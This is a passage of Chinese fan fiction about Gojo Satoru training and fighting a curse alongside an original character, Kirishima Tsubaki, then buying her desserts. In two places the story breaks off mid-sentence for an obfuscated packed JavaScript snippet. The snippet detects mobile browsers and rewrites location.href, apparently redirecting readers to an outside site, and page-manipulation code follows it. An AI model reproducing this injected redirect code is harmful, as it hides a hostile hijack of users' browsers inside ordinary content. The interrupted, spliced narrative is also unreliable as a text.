合理怀疑他就是故意忘记的。 “别这样看着我嘛~”五条悟从她脸上看到了无奈的表情,于是他打算大展身手,挽回自己的形象,“接下来我会从零基础开始教的,保证完成任务!” 4. 幼稚 他的教学方式如同他这个人一样……很随性。 “体术嘛,首先就是——躲!”他随手捡起一颗石子,在指尖转了转,突然朝雾岛椿弹了过去。 “——?!” 石子擦着她的耳畔飞过,带起一阵细微的风声。雾岛椿愣在原地,显然没反应过来。 “啊,抱歉抱歉~”五条悟毫无诚意地笑着,“放心啦,不会伤到你的,只是想看看你的反应速度。” “……没关系。”雾岛椿轻轻摇头,甚至没有一丝不满,只是温顺地应道,“我会努力躲开的。” 她没有说谎,这样的教学方式很有趣,充满了挑战,她很喜欢。 就算是真的把她当成靶子,她也不需要放水,说了会努力就会努力。 夏油杰在一旁叹气:“五条,你至少先教她基础姿势。” “那种东西很无聊嘛!”五条悟撇撇嘴,但还是装模作样地摆了个架势,“来,椿,跟着我做——拳头握紧,重心放低!” 雾岛椿认真地模仿着他的动作,但她的姿势僵硬,脚步虚浮,显然从未接触过格斗。五条悟盯着她看了两秒,突然伸手戳了一下她的肩膀—— “啪。” 她毫无防备,整个人晃了晃,差点摔倒。 “啊,果然站不稳呢。”五条悟歪头评价道。 “悟,”雾岛椿稳住身子,笑看着他,“你似乎玩的很开心。” “啊哈哈,可是我真的有在认真教你诶。”被她看的有些心虚,五条悟撇撇嘴,终于收敛了一点,走到雾岛椿身旁,伸手扶正她的肩膀,“重心再低一点,对,就是这样。” 他的手掌温热,隔着制服传来轻微的触感。雾岛椿微微怔了一下,但没有躲开,只是顺从地调整姿势,轻声道,“这不是能教的很好嘛,认真起来的话。” 五条悟盯着她看了几秒,忽然咧开一个玩味的笑容,苍蓝色的眼睛里闪烁着探究的光,“你脾气真好啊?被我这么折腾都不生气?” 雾岛椿抬眸看他,眼神温软,声音轻缓得像是在陈述一个再简单不过的事实,“没什么好生气的。无论你如何教,最终受益者都是我。” “我并没有付出任何代价就得到了‘最强’的亲自指导,”她顿了顿,目光扫过他略显意外的脸,“而你,也只是在这漫长的教学过程中,给自己找点乐子而已。既然没有恶意,我为什么要生气?” 反正,她看得出来,他虽然闹腾,但教得相当认真,只是方式更跳脱,让枯燥的训练变得没那么难熬罢了。 况且,对雾岛椿而言,生气往往是最无用的情绪宣泄,是弱者的呻吟。眼前的少年顶多是贪玩了点,外加一点点无伤大雅的恶趣味。面对她这个“体术白痴”,他嘴上嫌麻烦,行动上却负责得很,没有在夜蛾离开后就把她丢到一边自生自灭。 她为什么要为这点微不足道的、甚至称不上恶作剧的玩闹而动怒? 只是随口一问,没想到会得到这么一番逻辑清晰、态度平和的回应,五条悟眨了眨眼,难得被噎得一时接不上话。 一旁的夏油杰也被她这番话镇住,下意识抬头看向五条悟,眼神复杂,随即又收回视线,暗自思忖自己是不是对五条悟这副德行的容忍度确实太低了点。 或许,他被五条悟的出身带的有点先入为主了。 “悟是故意的吗?”雾岛椿忽然问。 “什么?” “故意想让我生气?” “哈?才没有!”五条悟立刻大声反驳,像是被踩了尾巴的猫,“我还没那么无聊!” 只是……无论是夜蛾、五条家的老古董,还是夏油杰,似乎都对他这副样子颇有微词。老头子们对他不守规矩的行为无可奈何,还要强装尊重,虚伪得令人发笑;而杰和夜蛾,则是少数会把不满明晃晃挂在脸上的人——这反而让他觉得有趣,比面对那些死气沉沉的族人要有生机得多。 至于家入硝子?从她日常吐槽的频率来看,显然也觉得他性格顽劣,槽点密集。 其他人…… 好像没有其他人了,他从小到大的人际圈中,大概也只有这些人能排得上号。 他们对他的不满,他其实并不在意,甚至乐在其中。毕竟这还是他跳出五条家之后才发现的,原来别人不会每天像老古董一样只会重复着那么几句“陈规陋习”的话,面对他时也不会只有“敬若神明”这一个态度。 但雾岛椿这种近乎诡异的包容力,却让他第一次感到些许困惑,甚至有点……捉摸不透。 她太淡了,像一汪沉静的深潭,投石下去也惊不起多少涟漪。这感觉有点糟糕。咒力源于负面情绪的积累,如果一直找不到宣泄口,或许某一天会造成咒力暴走。 更何况,她的术式似乎更加特殊。 接下来的训练,五条悟虽然依旧咋咋呼呼,指令喊得比谁都响,但明显收敛了许多。 他嘴上依旧嚷嚷着“体术就是要挨打才能学会嘛!”,可每次雾岛椿因动作生涩而踉跄时,他总会看似不经意地伸手,稳稳托住她的手肘或后背,力道恰到好处,一触即离。 “手腕抬高一点啦!椿能做到的吧。”他绕到她身后,虚虚地圈着她的手臂调整姿势,声音依旧嚣张,动作却意外地耐心,“对,就是这样保持住——然后出拳!” 雾岛椿按照他的指示挥拳,动作仍然生涩,但比一开始流畅了些。五条悟盯着她的侧脸,忽然问,“你平时都这么听话的吗?” “……?”雾岛椿疑惑地看向他。 “就是——”五条悟比划了一下,“我说什么你都照做,不会觉得烦吗?” 他可是最讨厌有人对他指手画脚了,该做的事情他自己知道去做,但要是有人高高在上地让他去做,他就会立马甩脸色,说不定还会反着来。 雾岛椿想了想,轻声回答,“……因为悟比我强,所以我相信你的指导。” 五条悟沉默了两秒,忽然伸手揉了揉她的头发,笑得肆意,“不错嘛,有眼光!” 雾岛椿被他突如其来的动作弄得有些懵,但并没有躲开,只是微微低头,任由他揉乱自己的发丝,唇角不自觉地弯了弯。 但她也还是小小的反驳了一下,“虽然不会烦,但悟真的很幼稚。” “欸——?!”五条悟高昂的情绪就像是饱满的气球被猛然扎了洞,里面的气体泄完之后,只剩下瘪瘪的外表。 知道他不是真的伤心,雾岛椿对此时看起来受到了不小打击的五条悟一点也不愧疚,只是觉得他收缩自如的情绪很神奇。 夏油杰远远地看着这一幕,一愣,这才过去多久,感觉她们之间的熟悉度又上了一个层次。 “看不出来,你这家伙其实还会跟女孩子相处的嘛。”夏油杰调侃道。 “哈~啊——?!怎么可能!”五条悟立刻收回手,大声反驳,“我只是觉得她比你有强,教起来更容易罢了。” “哈?”夏油杰对于五条悟将自己的体术和一个零基础的女孩子相比感到冒犯,好歹自己也是学了好久才有了现在的效果,他嘴唇紧抿,远远地喊道,“ 你再说一遍?” 夏油杰确定以及肯定,自己的 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她看着五条悟那张粲然的脸,彷佛他的精力永远用不完,然而盯久了之后,雾岛椿就像是被他那高能量的情绪传染了一般,本在一条直线上的唇角,不知不觉中,上升了两个像素点。 算了。 她只觉得虽然身体很累,但精神却没有生病时那么疲惫了。 果然,选择来高专,是一个无比正确的选择。 至少现在是。 “我们一起走吧,不带那家伙。”五条悟侧头对着雾岛椿说,他眼里充满了恶趣味。 雾岛椿无所谓和谁一起走,刚想要点头,就听见从后方传来的声音,“五条,你这家伙不会是故意忘记自己还要打扫训练场吧?”他嗓音里压着怒气。 雾岛椿停下脚步,抬头看着五条悟。 果然,他一副手忙脚乱心虚的不行的样子,但还是嚣张回道,“有什么关系啊?杰不是能操纵咒灵吗?随便交给那些家伙不就行了?”一脸无所谓的样子,看起来并没有觉得自己有多大错。 “咒灵是这样用的吗?”夏油杰嘴角抽搐,额角青筋暴起,“总之你不许走。” “切~”五条悟认为他真是不通情理极了,虽然很不情愿,但还是乖乖返回去,走之前对雾岛椿说,“没办法了,椿你自己去吃饭吧,没有我的陪伴可不要感到孤单啊~” 夏油杰真是受不了他那副轻浮的样子了,其实根本没有人会因为没有他的陪伴感到孤单…… 雾岛椿在五条悟离开之前扯住了他的衣角。 “嗯?”五条悟垂眸,看着自己被一只白嫩的手扯住的下摆,立马喜笑颜开,嘴角勾起一个果然如此的笑容,“我就知道椿舍不得我吧?”随后又对着不远处的夏油杰上脸色,“看吧,她离不开我啦~果然还是你一个人打扫吧!” 在夏油杰生气和五条悟吵架之前,雾岛椿解释道,“不是,我是想问需不需要我的帮忙。” “不用。” 雾岛椿本来也就是客气一下,听见五条悟没接受内心还悄悄松了口气,结果下一秒就听见他说,“你体力方面也太弱了啦,稍微训练一下就满头大汗了,万一不小心倒下了夜蛾又要给我拳头吃。” 雾岛椿:“……” 他果然看出了自己身体很弱。 她默默收回了扯着他衣角的手。 好吧,她体力确实很弱,毕竟她病了很多年,直到觉醒术式才有了大口呼吸空气的机会。 5. 靠谱 昏暗的和室内,烛火摇曳,映照出几张苍老而阴沉的面孔。 “那个叫雾岛椿的丫头……术式太过危险了。”其中一位高层缓缓开口,指尖轻敲桌面,“能将人拉入幻境,甚至操控生死——这样的能力,若不受控,迟早会成为祸患。” “她尚未完全掌握术式,现在正是试探的好时机。”另一人冷笑,“安排她去处理‘那个’咒灵吧……若她成功,证明她确实有能获得我们过多关注的价值,若她失败……就当提前排除隐患。” “夜蛾不会坐视不理。” “所以,任务必须‘合理’。” 桌面上,一份任务档案被缓缓推至中央,上面标注着—— 「一级咒灵·梦魇之茧」 东京的密令很快下达到高专。 **** 雾岛椿已经练习了将近一个月的体术,在此期间,五条悟和夏油杰已经出了很多次任务,只有她还没有被派过任务。 她很聪明也很努力,短短的时间已经完全能够熟练运用咒力强化身体,这个成果让她很满意,虽然一个月的训练成果还远远比不上五条悟这种从小就开始练习的,但加上她的术式,到前线祓除咒灵也勉强够用。 早晨,夏油杰、雾岛椿和家入硝子三人早已安静地坐在教室里,随后进来的是夜蛾正道。 他站在讲台上,向下扫视了一圈,一眼就看出又缺了个人,他微不可察地叹了口气,“悟那小子又迟到。” “算了,今天有任务,我们等他来了再说。” 话音刚落,就听见一道咋咋呼呼的声音,“夜蛾——” 夜蛾正道无奈地转过头,刚刚嘴里那个让人头疼的五条悟靠在门框上,动作松弛,一点也没有自己已经迟到的自觉。 “啊抱歉,我又起晚了。”看着夜蛾的表情,五条悟心里有些心虚,表情放软,故意发出甜腻的气泡音,还要拖长尾音,试图用用撒娇蒙混过关,“你这么大度应该不会和我计较的吧~~” “……” 一个巨型大男人对着他撒娇卖萌,总觉得有些诡异…… 但好在是出现在他那张稚嫩俊俏的脸上,给了夜蛾不少安慰。 至少看脸,确实可以将他当作小孩子来对待,一个发育过于成熟的小孩。 他叹了口气:“还不快进来坐好。” 换做平时夜蛾正道肯定要给他头上来一个正义修正拳,但今天有任务在身,他也只是口头上教育了一下,便放人进来。 等教室里人都到齐之后,夜蛾正道才将视线移到雾岛椿身上 “椿。” 雾岛椿抬头,对视一眼,顷刻间明白了他的意思。 看来今天的任务,与她有关。 夜蛾正道神色凝重,将任务书递给她,“高层指名让你去处理这个咒灵。” 椿接过文件,低头浏览,指尖微微收紧。 “一级咒灵……?”她轻声问,语气里并无畏惧,只是困惑。 夜蛾深深看了她一眼:“理论上,一年级不该单独执行一级任务。”他顿了顿,“但高层坚持认为,你的术式适合应对这类咒灵。” 咒术界评级需要完成一定任务并通过审查,五条悟和夏油杰已经晋级成为了一级咒术师,但雾岛椿之前还没有执行过任务,并没有任何评级。 毕竟她前期还只是个普通人类,夜蛾正道之前一直向上层反对她太早出任务,但现在他已经扛不住高层的施压。 虽然他心里清楚雾岛椿的咒力等级与五条悟他们不相上下,同样,高层也十分清楚这一点,所以才会给她派下祓除一级咒灵的任务。 却也没想到那些人如此惨无人道,第一个任务就是难度极高的一级。 椿沉默片刻,最终点头,“我明白了。” 就在她转身准备离开时,夜蛾忽然开口: “悟会和你一起去。” 雾岛椿一怔,回头看向他。 夜蛾推了推墨镜,语气不容置疑,“第一次任务,需要陪同——这是规矩。” 说完,他又将目光放到一旁正在开小差的五条悟身上,五条悟也察觉到了他的视线,立马懒洋洋地回答,“嗨~ 毕竟我很强嘛,保护椿这种事,也只能交给我才能放心啦——” “理解~理解~” 一旁的夏油杰和硝子 :不不不,交给你才更让人不放心吧。 雾岛椿的睫毛轻轻颤了颤,最终露出一丝浅笑,“那就有劳了。” 目的地是一栋被诅咒侵蚀的废弃精神病院,传闻曾有无数患者在此陷入沉睡,最终化作咒灵的养料。踏入院区的瞬间,空气便粘稠得令人窒息。 在找不出任何原因之后,不少精神患者的家属将其接了回去,而没人管的那些病人,便被抛弃在此,永久沉眠。 就在不久之前,一群高中生来到这里探险,却无故失踪。 现在看来,应该也是沉睡在某个角落,就是不知道还能不能救回来。 五条悟双手插兜,站在破败的医院大门前,懒洋洋地打了个哈欠,“啊——真是的,老橘子们为什么要给你派一个难度这么高的任务啊?” 椿走在他身后,声音柔和,“大概,是觉得我很厉害?毕竟悟也夸过我很强。” 五条悟侧头瞥了她一眼,蓝眸闪过一丝玩味,“你倒是挺淡定的嘛,一级咒灵哦?不怕?” 椿轻轻摇头:“有悟在的话……应该没问题。” 五条悟挑眉,忽然咧嘴一笑,“哟西,之后椿只需要尽管躲在我身后就好!” 两人踏入医院,腐朽的气息扑面而来。走廊深处,隐约传来低沉的、如同梦呓般的呢喃。 “哇哦,这地方比杰的品味还糟糕。”五条悟双手插兜,踢开脚边的碎玻璃。 雾岛椿跟在他身后,轻声提醒,“悟,这空气中弥漫着浓厚的咒力,应该没有那么简单。” “啊,我知道。”五条悟眼中闪过一丝狠厉。 话音刚落,四周的墙壁突然扭曲,病床和医疗器械如同活物般蠕动起来,天花板垂下无数丝线般的黑色咒力,编织成巨大的茧状物。 “「梦魇之茧」一特级咒灵,能力是‘强制沉眠’。”五条悟漫不经心地解说,“被它的丝线碰到的人,会永远睡在噩梦里哦~” “我们需要解决掉他,然后救出被他困在噩梦中的人。”雾岛椿回应道。 就在他们说话的同时,茧中缓缓裂开一道缝隙,露出无数只血红的眼睛。 “梦魇之茧”——由精神病患者长期积压的恐惧与幻觉孕育而成的咒灵。 特性:以人类的恐惧与疯狂为食,能将受害者困在无限循环的噩梦中,直至精神崩溃。 攻击方式: 1.沉眠之丝:触碰者会瞬间陷入昏迷。 2.噩梦同调:将多个受害者的梦境连接,共享恐惧。 3.茧化:完全包裹目标后,将其消化。 它的外形如同一团蠕动的黑色丝线,缠绕在医院的中央大厅,形成一个巨大的“茧”。任何靠近的生物都会被拉入深层梦境,陷入自己最恐惧的幻境中,直至精神崩溃。 “哇哦,看起来挺恶心的。”五条悟评价道。 椿凝视着那团黑茧,轻声说,“……它的能力和我的术式有些相似。” 五条悟歪头:“啊,正因如此,高层那些烂橘子才会派你来。” 椿没有回答,只是缓缓抬起手,“……要试试看吗?” 五条悟耸耸肩:“随你便~不过搞不定的话,我会出手的。” 就在他们对话的同时,天花板突然裂开巨口,直径三米的咒灵本体垂落,其核心竟是半具尚未完全茧化的女医生尸体。 “沉眠之丝·百重牢。” 无数黑丝爆发!五条悟的「无下限」弹开攻击,却发现丝线在半空诡异地转向。 全部射向雾岛椿。 “同调开始了哦~”五条悟吹了个口哨,“它想把你拉进噩梦派对呢,要集中注意力哦椿。” 雾岛椿也不是会坐以待毙的人,她的咒力悄然扩散,幻术无声展开—— 「幻灵·无瑕乐园」 一瞬间,整个大厅被拉入她的幻境。梦魇之茧的丝线骤然停滞,仿佛被某种更强大的规则压制。 咒灵发出了尖锐的嘶鸣,黑茧表面浮现出无数扭曲的人脸,挣扎着想要侵入椿的意识。 但雾岛椿的幻境是“完美”的。 在「无瑕乐园」中,梦魇之茧的恐惧被反向吞噬,它的丝线寸寸崩裂,如同被阳光灼烧的阴影。 雾岛椿的幻境本质上是捕捉和扭曲“诅咒的核心情绪”,也就是进行精神干涉,所有喜怒哀乐都逃不过她的捕捉,并将其利用,幻境会随着雾岛椿的想法随意更改。 而对咒灵施加 「无瑕乐园」时,雾岛椿将会把咒灵困在自己精心打造的没有任何负面情绪的梦境中,犹如天堂一般的存在。 对于咒灵来说却是地狱,没有了人类的负面情绪,咒灵会被一层一层地削弱,逐渐消散。 通俗易懂的来讲,就是幸福地睡过去了。 再也不会醒来的那种。 五条悟站在一旁,饶有兴趣地观察着,“哦?居然能压制同类型的咒灵……挺能干的嘛。” 然而,就在咒灵即将被祓除的瞬间—— 它的核心突然爆发出一阵剧烈的精神冲击! 雾岛椿闷哼一声,幻境出现裂痕。 啊,果然失败了,不过,有五条悟。 雾岛椿无所谓地想着。 对面是拥有同样能够编织梦境的咒灵,她的能力如果不能完全压制,但凡有一丝纰漏,都有翻车的可能。 看来是窗的情报收集出问题了。 难怪这座废弃的精神病院里咒力会那么浓郁,这个咒灵远超一级咒灵的实力。 五条悟立刻就看出了咒灵的反常,这根本不只是一级咒灵的实力,恐怕—— 已经是准特级咒灵。 “啧,果然没那么简单。”五条悟抬手,指尖凝聚咒力,“术式顺转——「苍」。” 轰——! 咒灵还没来得及完全挣脱雾岛椿的幻境,硬生生抗下五条悟的术式,整个咒灵体被轰的四分五裂,但不过瞬间,散落在各个角落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427783|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的躯体又重新粘了回去。 “咦~~真恶心,这下麻烦大了。”五条悟嫌弃地撇了撇嘴,又重新比划另一个姿势,“术式反转——「赫」。” 一个巨大的红球在他手中汇聚,最后以极快地速度发散出去,还伴随着五条悟快乐的呼喊声。 “呜哇!居然成功了,我果然是最强的!哈哈!” 他原本想着要是失败了,大不了再连续多次瞬发「苍」,到时候看看到底是它连接散落的身体速度更快,还是自己打散它身体的速度更快。 嘛~肯定是他的速度更快,这不是显而易见的嘛。 但是他成功了,这个planB也用不上了。 又是轰的一声。 咒灵的核心被瞬间碾碎,整个大厅归于寂静。 “完美解决!”五条悟伸了个懒腰,嘴角勾出一个肆无忌惮的愉悦弧度,仿佛刚才祓除的只是一只微不足道的苍蝇,“啊啊,能量消耗过度,急需补充糖分!现在超——想吃甜品!” 雾岛椿微微一怔。 她没料到这位实力强横、性格嚣张的白发同期会有这样……近乎孩子气的嗜好。但转念一想,那极致的甜味与他给人的那种强烈到近乎尖锐的存在感,似乎又诡异地契合。 这个发现让她心中微微一动。有明确的喜好,是件好事。 这意味着她或许能找到一种方式,偿还他那看似随手为之、却次次精准有效的“庇护”。 只是……这份“人情”的份量,似乎远不是几份甜品所能衡量的。他付出的“劳动力”——这个轻描淡写间就被抹杀的一级……不,或许是更高级别的咒灵和他在看不见的地方为她抗下的压力——其价值远超金钱或物质。 雾岛椿的思维习惯性地滑向了更现实、也更冰冷的层面。他图什么?像他这样的人,出身顶级的御三家,拥有着颠覆常识的力量,他缺什么?他又想要从她这里得到什么? 是看中了她那尚有潜力的术式,想为五条家招揽一个未来的战力?还是另有所图,在她自己都未曾察觉的地方,有着他感兴趣的价值? 她不相信无缘无故的善意,更不相信天上会掉馅饼。五条悟的每一次出手,必然标好了她尚未看清的价码。他只是……暂时还没向她出示账单而已。 而雾岛椿也拒绝不了他递来的馅饼,无所谓了,在高专和在五条家并没有什么区别,如果他开口的话,她会去的。 这也是她能够心安理得接受五条悟对她的暗中保护和帮助甚至会主动麻烦他的原因。 毕竟……留在他身边在他的情绪调解下生活变得没那么枯燥,还能在他强有力的庇护下偷懒,她想不出任何坏处。 “那我们去买甜品吧,”雾岛椿走到他的旁边,抬眼望着他,“我请悟吃。” “真的假的?”五条悟激动地凑近她的脸。 雾岛椿不着痕迹地向后退了一小步,点点头,“只是甜品而已,不至于说谎。” “好耶~”五条悟语调高昂,夸张道,“椿你真是个大好人。” 啊,她居然也能拿好人牌了吗? 相比起他那从不挂在嘴上的暗中庇护与体术上的精心教导,她只是做了一件微不足道的事情,这也值得被夸赞吗? 她不禁感慨,五条悟那里的好人卡真好拿。 两人一同往外走,直到门口露出一位身着制服的中年男人。 五条悟在看见辅助监督的那一刻,彷佛想起了什么,有点心虚但他才不会承认,“啧,好像又忘记放账了。” “哇,这可真是超级糟糕呢~搞不好又要被夜蛾骂了啦~”听这语气有点担心但没有一丝要悔改的意思。 “不用担心,悟,”雾岛椿知道他嘴里在念叨着什么,安慰道,“我早就放好账了。” 咒术师如果出任务时有辅助监督陪同,都是由辅助监督放账,毕竟他们一般都很弱,只是起一个引导作用。但问题是两人走的急,根本没有带辅助监督,雾岛椿又是第一次出任务,放账的任务自然而然就落在了五条悟头上。 显而易见的是,他又忘记了,本来他就不喜欢搞这么麻烦的事,反正普通人又看不到咒灵。 “呜哇!椿你——”五条悟露出一个非常惊喜的表情,甚至还有点欣慰,他为她点了一个大大的赞,“真是相当靠谱啊。” 一旁的辅助监督听到了他们的对话,嘴角在暗中抽搐,吐槽道: 不管是谁,只要遇到五条悟都会被迫变得靠谱。 不过,不得不承认的是,不管是谁,待在五条悟身边都会不自觉感到安心。 这种先给一巴掌再给颗甜枣的夸法,显然,在五条悟面前他根本不敢说出口。 即使五条悟看起来不像是会在意他看法的人,但这种吐槽的话从他这么一个对咒术界贡献极小的人嘴里说出来,多少有点冒昧。 不管是真心,还是带着玩笑的调侃,他都没资格。 “五条先生,雾岛小姐。”辅助监督正了正神色,往旁边移动了一下,示意他们上车。 “去附近的甜品店。” “是。”他什么也没问,只是默默调头。 6. 六眼 “诶~草莓大福卖完了?”五条悟单手撑在柜台上,整张俊脸瞬间垮掉,高大的身体像没了骨头一样往下滑,全靠一只手苦苦支撑,活像一只吃不到心爱罐头就要瘫在原地耍赖的巨型猫科动物。 “那我干脆把整个店轰飞算了。” 饶是店员再怎么沉迷于这位白发帅哥的美色,听见这话也吓得一个激灵,“……?!” 但他长得实在太过耀眼,此刻配上那副伤心欲绝、仿佛世界末日的表情,忽略掉那句恐怖发言,其实看起来还挺惹人怜爱。 但她忽略不掉。 或许是这个玩笑有点地狱,店员有些茫然无措,她不知道该怎么接话,于是将目光投向一旁看起来很和善的雾岛椿。 期待着雾岛椿能给出一些话题,好让她能顺利接下去。 雾岛椿知道五条悟只是口嗨,绝不可能真这么做——咒术师的职责是保护普通人,五条悟更是贡献最多的那个。 虽然偶有抱怨,更多的却是乐在其中。 她不理解。 这个不仅耗费时间精力甚至还有可能丢掉性命的事情,到底有什么隐藏的快乐和价值,值得他如此努力。 感受到了店员的目光,雾岛椿的视线从店员略显尴尬的脸上淡淡扫过,没有停留,如同看一件无关紧要的摆设。他人的恐惧对她而言,只是一种乏味的情绪噪音。 自从知道咒灵是由人类产生的,而咒术师还要保护人类,她就更不想祓除咒灵了。 感觉很不合常理。 但既然无意间享受了五条悟的保护,那么只是一个玩笑而已,有什么关系? 这也需要向她求助吗? 五条悟看着店员僵住的身体和不知所措的表情,原本还沉迷于吃不到草莓大福的悲伤中的他顿了一下,那双苍蓝色的眼睛里闪过一丝极其短暂的困惑。 “啊,抱歉抱歉!”五条悟立刻直起他那软塌塌的身体,举起双手,做出一个投降的姿势,脸上还挂着‘闯祸了’的爽朗笑容,“这只是夸张说法啦!我可是遵纪守法的好公民哦~” 就是因为觉得太夸张了,他本以为不会有人当真的。 难道…… 似乎意识到什么,他站起身,在自己身上左看看右看看。 “悟,你在找什么?” “我身上有什么吓人的东西吗?”五条悟凑近她,盯着她的眼睛,疑惑,“莫非是……我长的很吓人?” “欸——?!”他似乎不能接受,“这不可能吧?” “噗~”店员被他这副样子逗笑了,自然而然接话,“您长得并不吓人,只是我是易受惊体质,已经没关系了。” “那我们吃别的,好吗?”雾岛椿终于有点反应,随即又抱歉地看向惊魂未定的店员,“不好意思,他只是有点……孩子气,但还是很好相处的。” 一提到要吃别的,只见他嘴撇得更低了,小声碎碎念着“草莓大福”“我的草莓大福”……看来刚才的威胁纯粹是吃不到甜品的任性发泄。 “但是,这次可是你请客诶~”五条悟转过身,面对雾岛椿,双手捧住自己的脸,那双璀璨的苍蓝色眼睛瞬间变成荷包蛋泪目状,夸张地抱怨,“好不容易等到椿请我吃甜品,却吃不到最爱的草莓大福……我的人生不完整了啦~” 哇,好夸张。 这是雾岛椿目睹全程的第一反应。 他的情绪似乎总是来得直接又汹涌,像个被宠坏的小孩,毫不掩饰自己的失望,甚至熟练地运用起撒娇战术。 或许五条家的教育真的和她那种压抑扭曲的环境完全不同? 如果他这是装出来的……那反而更有趣了。因为他此刻的表现,真诚得让她几乎产生一种错觉——仿佛她请客的机会是什么千载难逢的珍宝,值得他如此珍视,连带着她这个人,也显得格外重要。 “呐~椿,”五条悟看着她居然在自己面前走神,不满地嚷嚷起来,“站在你面前的可是绝世大帅哥诶!你居然走神?” 雾岛椿猛地回神,发现自己想得太多太远了。 “……抱歉。”她有些无奈地歪了歪头,试探着问,“那……下次挑有草莓大福的时候,再请你吃一次?” “诶?真的吗——?!”五条悟的眼睛瞬间亮了起来,刚才的阴霾一扫而空,仿佛瞬间被注入了无限活力,“好耶——!” 草莓大福本就是甜品店卖的最火热的甜品,需要预约才能确保能买到,平时五条悟也会老老实实预约,但这次任务他本来就想着能快点解决的,没想到窗的情报又出了问题,一级咒灵变成了准特级,耽误了他的时间。 没想到偶尔一次偷懒没预约,草莓大福如同往常一样卖光了。 没有奇迹发生。 啊——都怪那些烂橘子。 不过,得到了雾岛椿的下一次许诺,这点不悦立马被他抛向了脑后。 最终,五条悟点了一大堆小蛋糕和冰淇淋,几乎铺满了整张桌子。 雾岛椿看着一桌子的食物,不自觉咽了咽口水,还是没忍住发出感叹,“悟,你是不是点的有点太多了?吃的完吗?” “唔——姆——”五条悟大口大口地吃着,体积较小的蛋糕他一口就吞掉了,慢悠悠地回答她,“哇,你在瞧不起谁啊?” “为什么会放那么多糖?”她刚刚看到他的菜单上都备注着‘多加几倍糖’,不会很腻吗? “嗯?”五条悟放下手中的蛋糕,突然凑近雾岛椿,“这是因为我的眼睛。” “你的眼睛?” 雾岛椿看着他那双波光粼粼的蓝色眼睛,还有长长的白色睫毛,那里面什么情绪也没有,只会给人留下“比宝石还要耀眼”这个印象。 她不确定地开口道:“是跟术式有关吗?” “对啊,是因为「六眼」。”五条悟又一口咬掉冰淇淋上面的那个尖尖,又指了指自己的眼睛,漫不经心地科普道,“它能自动计算并优化咒力流动,使我的咒力消耗几乎为零。厉害吧?” “但是「六眼」是全自动化的,没办法停下,每时每刻都在计算,这种东西很消耗大脑的,”说到这里,五条悟嘴角向下撇,嫌弃地吐槽,“哇,真的是什么垃圾信息都往脑子里塞,简直烦的受不了。” 上一秒还是一副苦大仇深的样子,下一秒他又像没事人一样抓起桌上的蛋糕往嘴里吞,含含糊糊地解释,“不过,还好甜食能够补充糖分,所以我每次都会多要点糖,不然脑子会烧坏哦~” “椿也不想让我这样一位完美的帅哥变傻吧?” “……这样啊,”雾岛椿知道他的术式很强,但完全没有想到会伴随着如此高的代价,她此刻也不再去想其他,只是下意识地问,“很辛苦吧?” “嗯?”五条悟舔掉嘴角的奶油,勾起一个嚣张又灿烂的笑容,彷佛刚刚抱怨的人不是他,反而一脸骄傲,“还好啦,毕竟我可是最强的,这点小事完全不看在眼里。” “倒是你……”五条悟身子向前,脑袋突然凑近雾岛椿,“对咒灵好像并不是很在意嘛?既不在乎它们的死活,也没什么必须要祓除它们的决心。” “那为什么会加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427784|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入咒术高专呢?”五条悟挑眉,嘴角上扬,有种发现了什么有趣事物的狡黠感,“要知道,这可是一不小心就会丢掉小命的决定哦~” “难道……你有什么必须要来到这里的理由?” “啊,悟的好奇心未免太重了吧。”雾岛椿依旧保持着微笑的表情,但眼睛里却没有任何笑意,单看表情会误以为她现在只是与老朋友开玩笑。 但五条悟明显察觉到了她的不悦。 聪明人试探到这里也应该明白该停下了,但五条悟是谁?他才不会对自己发现的有趣的东西放手,顽劣的孩子就是要更难对付点。 他立刻眉毛下垂,做出八字眉,眉头拧起一个小疙瘩,摆出极度无辜委屈的表情,像只被抛弃的大猫,声音也拖长了撒娇:“呐~呐~告诉我嘛椿~我嘴巴很严的,绝对不说出去!”为了增加说服力,他还故意眨了眨那双电力十足的眼睛,开启卖萌攻势。 “……” 这个人,真的是那个传说中的五条家主吗? 一点稳重老练的影子都看不到,反而像个……很好骗的笨蛋帅哥。 “好了好了,”雾岛椿叹了口气,终究还是败给他的死缠烂打和美颜暴击,“我告诉你就是了。” “其实……只是因为我没地方去了。” “就这样?” “嗯。我家被咒灵毁掉了,我也是在那时才觉醒的术式。”她语气平淡得像在说别人的事。 “啊……抱歉。”五条悟难得露出一丝愧疚,立刻伸手揽过她的肩膀,用力拍了拍,语气变得元气满满,“没关系啦!以后就跟着我混,保管你吃香喝辣!” “那你又是从哪里得出那个结论的?”雾岛椿不动声色地把他的手臂从自己肩上挪开,反问道。 “因为你很强啊,我早就说过了吧?”五条悟一脸“这还不明显吗”的表情。 “什么?”雾岛椿对自己的术式尚且一知半解,无法理解这两者的关联。 “你的咒力储量深不见底,几乎没什么使用条件限制。”五条悟像是发现了什么新奇玩具,兴奋地凑近分析,“但你之前施展的那个幻术,明明咒力足够困死那只准特级,结果幻境却碎了。这说明你的术式强弱不只靠咒力,还得看别的——” 他故意停顿卖关子,见对方完全没有追问的意思,只好无趣地自己接上,“是情绪啦情绪!” “换句话说,就是你整个人都太平淡了,根本发挥不出你术式的真正力量啊!” “……原来如此。”雾岛椿恍然。 